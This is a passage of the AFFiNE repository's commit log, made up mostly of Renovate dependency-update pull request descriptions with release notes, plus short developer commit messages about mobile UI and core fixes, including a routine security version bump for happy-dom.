-   escape html in renderer ([#&#8203;3495](https://redirect.github.com/markedjs/marked/issues/3495)) ([58d66e5](58d66e59d1))
-   Move all regexps to rules ([#&#8203;3519](https://redirect.github.com/markedjs/marked/issues/3519)) ([1f88deb](1f88deb58a))

##### BREAKING CHANGES

-   escape html in renderers instead of tokenizers for all tokens.

### [`v14.1.4`](https://redirect.github.com/markedjs/marked/releases/tag/v14.1.4)

[Compare Source](https://redirect.github.com/markedjs/marked/compare/v14.1.3...v14.1.4)

##### Bug Fixes

-   fix del with escaped tilde ([#&#8203;3517](https://redirect.github.com/markedjs/marked/issues/3517)) ([0afe87d](0afe87d7fb))
-   fix html comment after list ([#&#8203;3518](https://redirect.github.com/markedjs/marked/issues/3518)) ([a612576](a612576ff6))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS43LjEiLCJ1cGRhdGVkSW5WZXIiOiIzOS43LjEiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->
2024-11-09 03:56:11 +00:00
renovate
1cdc7d5592 chore: Lock file maintenance (#8488)
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "before 4am on Monday" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMTUuMSIsInVwZGF0ZWRJblZlciI6IjM4LjE0Mi43IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2024-11-09 03:39:12 +00:00
L-Sun
5f40fbc69c feat(mobile): mobile at menu (#8727)
Close [BS-1608](https://linear.app/affine-design/issue/BS-1608/mobile-menu), related PR: https://github.com/toeverything/blocksuite/pull/8681
2024-11-08 11:06:12 +00:00
pengx17
c1ece15560 fix(core): close setting when workspace is deleted (#8747)
fix AF-1618
2024-11-08 10:50:13 +00:00
forehalo
1a1041712f feat(core): track signin failed reason (#8746)
fix AF-1568
2024-11-08 10:34:15 +00:00
forehalo
02dbe135d4 chore(infra): remove useless flags (#8748)
fix AF-1611
2024-11-08 10:17:45 +00:00
EYHN
73d0e64c20 fix(core): fix infinite retry when workspace not found (#8679) 2024-11-08 09:34:15 +00:00
EYHN
14d2214248 chore(infra): remove unused code (#8736) 2024-11-08 09:17:48 +00:00
renovate
099b5d5aa0 chore: bump up @blocksuite/affine version to v0.17.28 (#8647)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.17.26` -> `0.17.28`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.17.26/0.17.28) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.17.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.17.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.17.26/0.17.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.17.26/0.17.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.17.28`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#01728)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.17.27...v0.17.28)

##### Patch Changes

-   [`5ef420d`](https://redirect.github.com/toeverything/blocksuite/commit/5ef420d): ## Feat

    -   feat(blocks): mobile at menu ([#&#8203;8681](https://redirect.github.com/toeverything/blocksuite/issues/8681))
    -   feat: unify the reference data structure of inline, card and embed ([#&#8203;8689](https://redirect.github.com/toeverything/blocksuite/issues/8689))
    -   feat(database): add placeholder for filter ([#&#8203;8701](https://redirect.github.com/toeverything/blocksuite/issues/8701))
    -   feat(database): support for sorting event tracking ([#&#8203;8691](https://redirect.github.com/toeverything/blocksuite/issues/8691))

### [`v0.17.27`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#01727)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.17.26...v0.17.27)

##### Patch Changes

-   [`f70b950`](https://redirect.github.com/toeverything/blocksuite/commit/f70b950): fix: color of canvas element under embed dark theme whiteboard is wrong ([#&#8203;8677](https://redirect.github.com/toeverything/blocksuite/issues/8677))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMzUuMiIsInVwZGF0ZWRJblZlciI6IjM5LjcuMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-08 08:55:15 +00:00
akumatus
5823353733 fix: edgeless note preview on the editor settings is editable (#8735)
Fix issue [BS-1779](https://linear.app/affine-design/issue/BS-1779).

The attribute `contenteditable` will be `true` if the document is not read-only. In this case, the note preview can be focused on and users can edit the note content.

But we can not simply make the document read-only. If the user changes the editor settings, we also need to update the document model, which requires that the document is not read-only.

Thus following code sets the document editable before the model updates and resets the document to read-only after the model is updated.
2024-11-08 08:39:09 +00:00
donteatfriedrice
e988be2f86 fix: reduce min height of chat peek view new message container (#8739) 2024-11-08 08:23:38 +00:00
darkskygit
2a3e81de3e fix: also check online model list if model not defined (#8726) 2024-11-08 05:07:45 +00:00
donteatfriedrice
c323e5ae93 feat: use custom @ import dialog (#8723)
[BS-1747](https://linear.app/affine-design/issue/BS-1747/[ui]-通过导入的ui还是旧的,需要更新)
2024-11-08 01:53:29 +00:00
CatsJuice
d8eda5e42d refactor(mobile): impl all-docs masonry with css grid, close AF-1598 (#8731)
- responsive layout support
   ![CleanShot 2024-11-07 at 11.51.21.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/38b3f11f-59a6-42cc-9a41-8b72ce0998ea.gif)
2024-11-08 00:48:33 +00:00
CatsJuice
06591db8d9 fix(mobile): adjust mobile UI (#8719)
- fix(mobile): add close button for login, close AF-1581
- fix(mobile): adjust explorer title font, close AF-1575
- fix(mobile): disable user-select globally, close AF-1626
- fix(mobile): usage loading ui in setting, close AF-1422
- fix(mobile): adjust header height, close AF-1574
2024-11-08 00:48:31 +00:00
CatsJuice
add8c56c69 chore(core): adjust billing payment methods copywriting, close AF-1638 (#8733) 2024-11-07 07:37:05 +00:00
renovate
483a6d8034 chore: bump up nestjs to v10.4.7 (#8709)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.6` -> `10.4.7`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.6/10.4.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.6/10.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.6/10.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.6` -> `10.4.7`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.6/10.4.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.6/10.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.6/10.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.6` -> `10.4.7`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.6/10.4.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.6/10.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.6/10.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.7`](https://redirect.github.com/nestjs/nest/compare/v10.4.6...v10.4.7)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.6...v10.4.7)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.7`](https://redirect.github.com/nestjs/nest/compare/v10.4.6...v10.4.7)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.6...v10.4.7)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/websockets)</summary>

### [`v10.4.7`](https://redirect.github.com/nestjs/nest/compare/v10.4.6...v10.4.7)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.6...v10.4.7)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xNDIuNyIsInVwZGF0ZWRJblZlciI6IjM4LjE0Mi43IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2024-11-07 05:34:07 +00:00
pengx17
727130ec97 fix(core): add open in app hint text (#8728)
fix AF-1625
2024-11-07 04:10:34 +00:00
renovate
c79b93bc01 chore: bump up happy-dom version to v15.10.2 [SECURITY] (#8724)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`15.10.1` -> `15.10.2`](https://renovatebot.com/diffs/npm/happy-dom/15.10.1/15.10.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/15.10.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/15.10.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/15.10.1/15.10.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/15.10.1/15.10.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

### GitHub Vulnerability Alerts

#### [CVE-2024-51757](https://redirect.github.com/capricorn86/happy-dom/security/advisories/GHSA-96g7-g7g9-jxw8)

### Impact
Consumers of the NPM package `happy-dom`

### Patches
The security vulnerability has been patched in v15.10.2

### Workarounds
No easy workarounds to my knowledge

### References
[#&#8203;1585](https://redirect.github.com/capricorn86/happy-dom/issues/1585)

---

### Release Notes

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v15.10.2`](https://redirect.github.com/capricorn86/happy-dom/compare/v15.10.1...d23834c232f1cf5519c9418b073f1dcec6b2f0fd)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v15.10.1...v15.10.2)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xNDIuNyIsInVwZGF0ZWRJblZlciI6IjM4LjE0Mi43IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2024-11-07 01:59:58 +00:00
renovate
50891ad9eb chore: bump up all non-major dependencies (#8714)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@apollo/server](https://redirect.github.com/apollographql/apollo-server) ([source](https://redirect.github.com/apollographql/apollo-server/tree/HEAD/packages/server)) | [`4.11.0` -> `4.11.2`](https://renovatebot.com/diffs/npm/@apollo%2fserver/4.11.0/4.11.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@apollo%2fserver/4.11.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@apollo%2fserver/4.11.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@apollo%2fserver/4.11.0/4.11.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@apollo%2fserver/4.11.0/4.11.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@atlaskit/pragmatic-drag-and-drop](https://atlassian.design/components/pragmatic-drag-and-drop/) ([source](https://redirect.github.com/atlassian/pragmatic-drag-and-drop)) | [`1.3.1` -> `1.4.0`](https://renovatebot.com/diffs/npm/@atlaskit%2fpragmatic-drag-and-drop/1.3.1/1.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@atlaskit%2fpragmatic-drag-and-drop/1.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@atlaskit%2fpragmatic-drag-and-drop/1.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@atlaskit%2fpragmatic-drag-and-drop/1.3.1/1.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@atlaskit%2fpragmatic-drag-and-drop/1.3.1/1.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.658.1` -> `3.685.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.658.1/3.685.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.685.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.685.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.658.1/3.685.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.658.1/3.685.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@chromatic-com/storybook](https://redirect.github.com/chromaui/addon-visual-tests) | [`3.0.0` -> `3.2.2`](https://renovatebot.com/diffs/npm/@chromatic-com%2fstorybook/3.0.0/3.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@chromatic-com%2fstorybook/3.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@chromatic-com%2fstorybook/3.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@chromatic-com%2fstorybook/3.0.0/3.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@chromatic-com%2fstorybook/3.0.0/3.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@faker-js/faker](https://fakerjs.dev) ([source](https://redirect.github.com/faker-js/faker)) | [`9.0.3` -> `9.2.0`](https://renovatebot.com/diffs/npm/@faker-js%2ffaker/9.0.3/9.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@faker-js%2ffaker/9.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@faker-js%2ffaker/9.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@faker-js%2ffaker/9.0.3/9.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@faker-js%2ffaker/9.0.3/9.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@floating-ui/dom](https://floating-ui.com) ([source](https://redirect.github.com/floating-ui/floating-ui/tree/HEAD/packages/dom)) | [`1.6.11` -> `1.6.12`](https://renovatebot.com/diffs/npm/@floating-ui%2fdom/1.6.11/1.6.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@floating-ui%2fdom/1.6.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@floating-ui%2fdom/1.6.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@floating-ui%2fdom/1.6.11/1.6.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@floating-ui%2fdom/1.6.11/1.6.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@node-rs/crc32](https://redirect.github.com/napi-rs/node-rs) | [`1.10.3` -> `1.10.4`](https://renovatebot.com/diffs/npm/@node-rs%2fcrc32/1.10.3/1.10.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@node-rs%2fcrc32/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@node-rs%2fcrc32/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@node-rs%2fcrc32/1.10.3/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@node-rs%2fcrc32/1.10.3/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.54.0` -> `0.54.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.54.0/0.54.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.54.0/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.54.0/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/host-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/opentelemetry-host-metrics#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`0.35.3` -> `0.35.4`](https://renovatebot.com/diffs/npm/@opentelemetry%2fhost-metrics/0.35.3/0.35.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fhost-metrics/0.35.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fhost-metrics/0.35.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fhost-metrics/0.35.3/0.35.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fhost-metrics/0.35.3/0.35.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.54.0` -> `0.54.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.54.0/0.54.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.54.0/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.54.0/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.54.0` -> `0.54.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.54.0/0.54.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.54.0/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.54.0/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.54.0` -> `0.54.1`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.54.0/0.54.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.54.0/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.54.0/0.54.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@prisma/client](https://www.prisma.io) ([source](https://redirect.github.com/prisma/prisma/tree/HEAD/packages/client)) | [`5.20.0` -> `5.22.0`](https://renovatebot.com/diffs/npm/@prisma%2fclient/5.20.0/5.22.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@prisma%2fclient/5.22.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@prisma%2fclient/5.22.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@prisma%2fclient/5.20.0/5.22.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@prisma%2fclient/5.20.0/5.22.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@prisma/instrumentation](https://www.prisma.io) ([source](https://redirect.github.com/prisma/prisma/tree/HEAD/packages/instrumentation)) | [`5.20.0` -> `5.22.0`](https://renovatebot.com/diffs/npm/@prisma%2finstrumentation/5.20.0/5.22.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@prisma%2finstrumentation/5.22.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@prisma%2finstrumentation/5.22.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@prisma%2finstrumentation/5.20.0/5.22.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@prisma%2finstrumentation/5.20.0/5.22.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-accordion](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.0` -> `1.2.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-accordion/1.2.0/1.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-accordion/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-accordion/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-accordion/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-accordion/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
